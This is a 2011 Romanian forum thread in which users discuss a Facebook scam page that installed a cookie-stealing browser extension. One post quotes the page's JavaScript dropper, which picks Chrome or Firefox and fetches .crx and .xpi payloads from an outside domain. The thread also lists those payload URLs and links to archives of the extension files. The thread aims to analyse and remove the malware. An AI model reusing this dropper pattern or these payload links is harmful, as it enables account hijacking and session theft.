Virus nou pe Facebook

[giok123]

Cu ce as putea scoate acest virus? am incercat cu cateva programele dar nimic.

Link:

http://www.facebook.com/pages/Cool-new-Christmas-theme-for-faceb00k/263411203719429

Edited December 21, 2011 by giok123

[HJOCONCEPT95]

Am o intrebare, cum ai reusit sa iei plasa asta?

Totusi asta e un virus care fura "prajiturele" de la firefox si face totul in locul tau...

Cred ca ar trebui sa dezinstalezi extensiile mozilla prin care cred ca e si asta.

[giok123]

nu am cazut eu in "plasa" insa multi din prieteni mei au luat-o si m-au intrebat daca stiu cum sa scot am incercat cu cateva programele insa nimic si m-am hotarat sa scriu aici.

[AhEaD]

Virusul in sine e aici:

http://babylucy.info/plugin.php

<script>                 var is_chrome = navigator.userAgent.toLowerCase().indexOf('chrome') > -1;                 var is_firefox = navigator.userAgent.toLowerCase().indexOf('firefox') > -1;                 function instalar(){                     if (is_chrome){                         window.open("http://informativenews.in/profile/fb.crx");                     } else if(is_firefox){                         var params = {                             "Youtube Extension": {                                 URL: "http://informativenews.in/profile/firefox.xpi",                                 toString: function () { return this.URL; }                             }                         };                         InstallTrigger.install(params);                     } else{                          window.open("http://informativenews.in/youtube.crx");                     }                 }             </script>

http://informativenews.in/profile/fb.crx
http://informativenews.in/profile/firefox.xpi

Se pare ca influenteaza mozilla si chrome, numai ca trebuie sa fi suficient de ratat incat sa dai click pe Install... si se pare ca sunt destui...

[HJOCONCEPT95]

Poti intra cu https si virusul nu o sa mai functioneze:p

[forum]

vad ca nu ai trecut in al treilea code field link-ul http://informativenews.in/youtube.crx acesta nu face parte din virus sau ce este youtube.crx? banuiesc ceva de la chrome dar... youtube?

Link-urile au fost blocate de FB..pana schimba domeniile nu te poti infecta cred...

Edited December 22, 2011 by forum

[Xander]

este o extensie de chrome

[Guest TheSun]

si uite inca un motiv sa nu ma trag in facebuci.

[HJOCONCEPT95]

GirlShare - Download fisiere.rar

Astea sunt fisierele din cele doua extensii de firefox.

Precizez ca daca folositi protocolul "https://" nu va rula "virusul".

[Xander]

probabil nu au manifestul facut calumea si deaia nu merg si pe https

[forum]

am gasit pe net si installer-ul de la firefox decompilat:

Multiupload.com - upload your files to multiple file hosting sites!

[HJOCONCEPT95]

am gasit pe net si installer-ul de la firefox decompilat:

Multiupload.com - upload your files to multiple file hosting sites!

Off: ?i tu il po?i decompila modificândui extensia in ".rar".

On: Cei care l-au f?cut au vrut publicitate rapid? si nu prea le-a iesit, inafara de faptul ca nu functioneaz? pe https ei au b?gat in pagina lor de facebook un refresh c?tre site-ul lor si nu se gândeau ca iesea mai bine daca faceau "phising".

Romanu cand ii da instalare nu se uite la link din browser.